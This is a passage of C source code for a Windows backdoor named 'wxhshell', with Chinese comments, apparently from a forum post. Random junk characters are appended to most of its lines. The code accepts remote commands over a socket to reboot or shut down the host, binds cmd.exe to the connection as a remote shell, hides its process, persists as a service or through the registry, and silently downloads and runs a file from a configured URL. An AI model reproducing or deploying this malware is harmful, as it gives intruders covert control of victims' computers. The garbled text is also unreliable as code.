    switch(cmd[0]) { .Y;f 9R  
  _ZK^J S  
  // 帮助 N*}soMPV^.  
  case '?': { N68$b#9Ry  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $t):r@L  
    break; Y~g{9 <!  
  } B[GC@]HE  
  // 安装 p%>sc  
  case 'i': { 8%#8PLB2  
    if(Install()) X]p3?"7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OW4j!W  
    else qqf`z,u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zek@xr;]  
    break; WJh TU@'  
    } mG&A_/e!9  
  // 卸载 S3ooG14Ls  
  case 'r': { eV|N@  
    if(Uninstall()) "dX~J3$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4@@Sh`E:  
    else Vb`Vp(>AU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E=ijt3  
    break; | 6JKB'  
    } p|t" 4HQ  
  // 显示 wxhshell 所在路径 `xLsD}32  
  case 'p': { GHcx@||C?  
    char svExeFile[MAX_PATH]; =# Sw.N  
    strcpy(svExeFile,"\n\r"); C!*!n^qA  
      strcat(svExeFile,ExeFile); ='o3<}  
        send(wsh,svExeFile,strlen(svExeFile),0); 0w3c8s.  
    break; FfJ;r'eGs  
    } MF4 (  
  // 重启 B@&sG 5ES  
  case 'b': { Bdw33z*m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PlzM`g$A  
    if(Boot(REBOOT)) q>2bkcGY#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z)`)9]*  
    else {  4@  
    closesocket(wsh); (w hl1  
    ExitThread(0); `|ie#L(:7/  
    } <#C,66k  
    break; ][$I~ nRf  
    } 5 3%>)gk:  
  // 关机 z!"vez  
  case 'd': { 4|`>}Nu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +twoUn{#  
    if(Boot(SHUTDOWN)) ?7aZU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DO*U7V02  
    else { sE% $]Jp  
    closesocket(wsh); Z v@nK%#J  
    ExitThread(0); o%t4WQ|bj  
    } 5CFNBb%Xy  
    break; Qu61$!  
    } nnv|GnQST  
  // 获取shell q*3OWr  
  case 's': { ?uq`|1`  
    CmdShell(wsh); )@N d3Z  
    closesocket(wsh); ZZT #V%Q=u  
    ExitThread(0); ,0W^"f.g{m  
    break; 5g7@Dj,.  
  } e?]5q ez  
  // 退出 W "'6 M=*  
  case 'x': { $y8-JR~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1D*=ZkA)  
    CloseIt(wsh); 1|MRXK  
    break; 53])@Mmus  
    } F^u12R)  
  // 离开 al9wNtMT  
  case 'q': { Q1,sjLO-a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YExgUE|  
    closesocket(wsh); l^lb ^"o  
    WSACleanup(); U N9hZ>9  
    exit(1); 7)lEZJK&T  
    break; m-Eh0Zl>Z  
        } dz_S6o ]  
  } R*[sO*h\k  
  } =fcg4h5(  
nq M7Is  
  // 提示信息 p~$cwbQ!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O(T5  
} $H)^o!  
  } 4@ PA+(kvS  
Xqf,_I=V  
  return; pE5v~~9Ikv  
} UT<e/  
5RP kAC  
// shell模块句柄 [8iY0m_Qe  
int CmdShell(SOCKET sock) #CC5+  
{ jc5[r;#  
STARTUPINFO si; "?8)}"/f  
ZeroMemory(&si,sizeof(si)); |?!i},Ki;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &W2*'$j"_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3z8i0  
PROCESS_INFORMATION ProcessInfo; ue_wuZi  
char cmdline[]="cmd"; I^y<W%Et  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UY',n,  
  return 0; _?tpO61g>  
} ax&?Z5%a  
/{^k8 Q  
// 自身启动模式 @Vm*b@  
int StartFromService(void) AFrJzh:V[  
{ xlI =)ak{  
typedef struct 1R2IlUlzFr  
{  &9y Zfp  
  DWORD ExitStatus; QUrPV[JQ  
  DWORD PebBaseAddress; y)G-6sZ/  
  DWORD AffinityMask; -> cL)  
  DWORD BasePriority; >P/36'  
  ULONG UniqueProcessId; k#].nQG  
  ULONG InheritedFromUniqueProcessId; QZzamT)"  
}   PROCESS_BASIC_INFORMATION; _ \D %  
zPby+BP  
PROCNTQSIP NtQueryInformationProcess; n:5M E*  
4zoQe>v~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '2(m%X\6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HlGSt$woX  
+,76|oMsQ%  
  HANDLE             hProcess; `b?uQ\#-M  
  PROCESS_BASIC_INFORMATION pbi; 4b;Mb  
=oBpS=<7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KdVKvs[  
  if(NULL == hInst ) return 0; Un6R)MVT  
2JfSi2T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n7Ao.b%uk-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SMN.AJ J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KgL!~J  
q/i2o[f'n  
  if (!NtQueryInformationProcess) return 0; b($hp%+yJ  
|+#Zuq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6nx\|F  
  if(!hProcess) return 0; zHJCXTM  
=X$ieXq|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w~66G  
}p)K6!J0  
  CloseHandle(hProcess); @oXGa>Ru  
D-gH_ff<]9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IG^@VQ%  
if(hProcess==NULL) return 0; iGyetFqKw  
\@<7Vo,  
HMODULE hMod; 4EB\R"rWXf  
char procName[255]; /_C2O"h  
unsigned long cbNeeded; =nEP:7~{  
4E$MhP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1!#N-^qk  
`Q@7,z=f  
  CloseHandle(hProcess); M(-)\~9T  
Ca2r<|uA  
if(strstr(procName,"services")) return 1; // 以服务启动 LP vp (1  
EZUaYp ~M  
  return 0; // 注册表启动 oTw!#Re)  
} F? #3  
DHO]RRGV  
// 主模块 Blpk n1  
int StartWxhshell(LPSTR lpCmdLine)  TGCB=e  
{ ].d2CJ'  
  SOCKET wsl; @^,q/%;  
BOOL val=TRUE; 78& |^sq  
  int port=0; "5hk%T '  
  struct sockaddr_in door; &G {GLP?H  
? x)^f+:9|  
  if(wscfg.ws_autoins) Install(); !]4u"e  
zoq;3a5cqB  
port=atoi(lpCmdLine);  E]V, @  
(,|,j(=]  
if(port<=0) port=wscfg.ws_port; W`>|OiuF  
Bx?3E^!T  
  WSADATA data; @v-^j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }[p{%:tP  
PgBEe @.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '.A!IGsj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8`4M4" lj  
  door.sin_family = AF_INET; iE%"Q? Q/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x YS81  
  door.sin_port = htons(port); ~A0]vcP  
:'%6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'Y?-."eKh  
closesocket(wsl); RY-iFydPc  
return 1; %|-N{>wKy  
} |XyX%5p*  
QPlU+5Cx  
  if(listen(wsl,2) == INVALID_SOCKET) { i<QDV W9  
closesocket(wsl); "[) G{VzT  
return 1; egoR])2>  
} "{0G,tdA  
  Wxhshell(wsl); c{q+h V=  
  WSACleanup(); }Fe~XO`  
BQu |qr q  
return 0; o[C^z7WG0  
r%,?uim#  
} N ,~O+  
{cK<iQJ  
// 以NT服务方式启动 u0C:q`;z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EC+t-:a]  
{ CK_dEh2c  
DWORD   status = 0; |#Gxqq'  
  DWORD   specificError = 0xfffffff; -gn0@hS0  
!=9x=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; so-5%S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =EJ&=t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sY ]J!"  
  serviceStatus.dwWin32ExitCode     = 0; 2yN!yIPR  
  serviceStatus.dwServiceSpecificExitCode = 0; /!6'K  
  serviceStatus.dwCheckPoint       = 0;  3.&BhLT  
  serviceStatus.dwWaitHint       = 0; Iiy5;:CX:q  
9{Hs1 MD[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zJDHDr  
  if (hServiceStatusHandle==0) return; -E-#@s  
N_Us6 X  
status = GetLastError(); G]lGoa}]`u  
  if (status!=NO_ERROR) Q'<AV1<  
{ .S` q2C\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :V/".K-:J  
    serviceStatus.dwCheckPoint       = 0; 6H#: rM  
    serviceStatus.dwWaitHint       = 0; o;8$#gyNY  
    serviceStatus.dwWin32ExitCode     = status; =s\$i0A2  
    serviceStatus.dwServiceSpecificExitCode = specificError; w{ja*F6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  _){|/Zd  
    return; g/GI'8EMj  
  } y0%@^^-Ru  
d4y#n=HnnV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g]~vZj  
  serviceStatus.dwCheckPoint       = 0; v({O*OR  
  serviceStatus.dwWaitHint       = 0; @-@Coy 4Tt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t3L>@NWG  
} /~LE1^1&U  
e!u]l  
// 处理NT服务事件,比如:启动、停止 *yZ6"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ww<Y]H$xZ<  
{ Ah2@sp,z  
switch(fdwControl) a %#UF@ I  
{ Tm %5:/<8  
case SERVICE_CONTROL_STOP: -`]9o3E7H  
  serviceStatus.dwWin32ExitCode = 0; M9"Bx/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U9 iI2$  
  serviceStatus.dwCheckPoint   = 0; H,> }t S  
  serviceStatus.dwWaitHint     = 0; d) -(C1f  
  { jcCAXk055  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b4L7M1l  
  } 196aYLE  
  return; 2Zu9? L ,I  
case SERVICE_CONTROL_PAUSE: [@i:qB>B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >.<VD7p  
  break; 6[m~xegG  
case SERVICE_CONTROL_CONTINUE: H/a gt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eMGJx"a  
  break; A mZXUb  
case SERVICE_CONTROL_INTERROGATE: !W}sOK7#  
  break; \h ~_<)  
}; #*(}%!rD*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @IG's-  
} !)a_@d.;i  
)fJ"Hq  
// 标准应用程序主函数 Du_5iuMh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ay8]"sa  
{ cAR `{%b  
k*1Lr\1  
// 获取操作系统版本 \M`qaFan5^  
OsIsNt=GetOsVer(); +wi=IrRr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zTng]Mvx  
n|5\Q  
  // 从命令行安装 Y3 $jNuV  
  if(strpbrk(lpCmdLine,"iI")) Install(); |/,S NE  
"uH>S+%|b  
  // 下载执行文件 0i~U(qoI  
if(wscfg.ws_downexe) { l7QxngWw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  ~,lt^@a  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q<sqlh!h  
} J 2O,wb)U  
}aWy#Oe  
if(!OsIsNt) { tLzLO#/n  
// 如果时win9x,隐藏进程并且设置为注册表启动 eRUdPPq_d  
HideProc(); <Jgcj 4D  
StartWxhshell(lpCmdLine); YZ~MByu  
} 6A"$9sj6  
else o U=vl!\J  
  if(StartFromService()) Y"FV#<9@7E  
  // 以服务方式启动 J;& y?%{@5  
  StartServiceCtrlDispatcher(DispatchTable); ::Zo` vP  
else /WQ.,a  
  // 普通方式启动 "#C2+SKM1  
  StartWxhshell(lpCmdLine); 3Gs\Q{O:  
3?o4  
return 0; KVZB`c$<t  
}
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只看该作者 1 发表于: 2006-10-10
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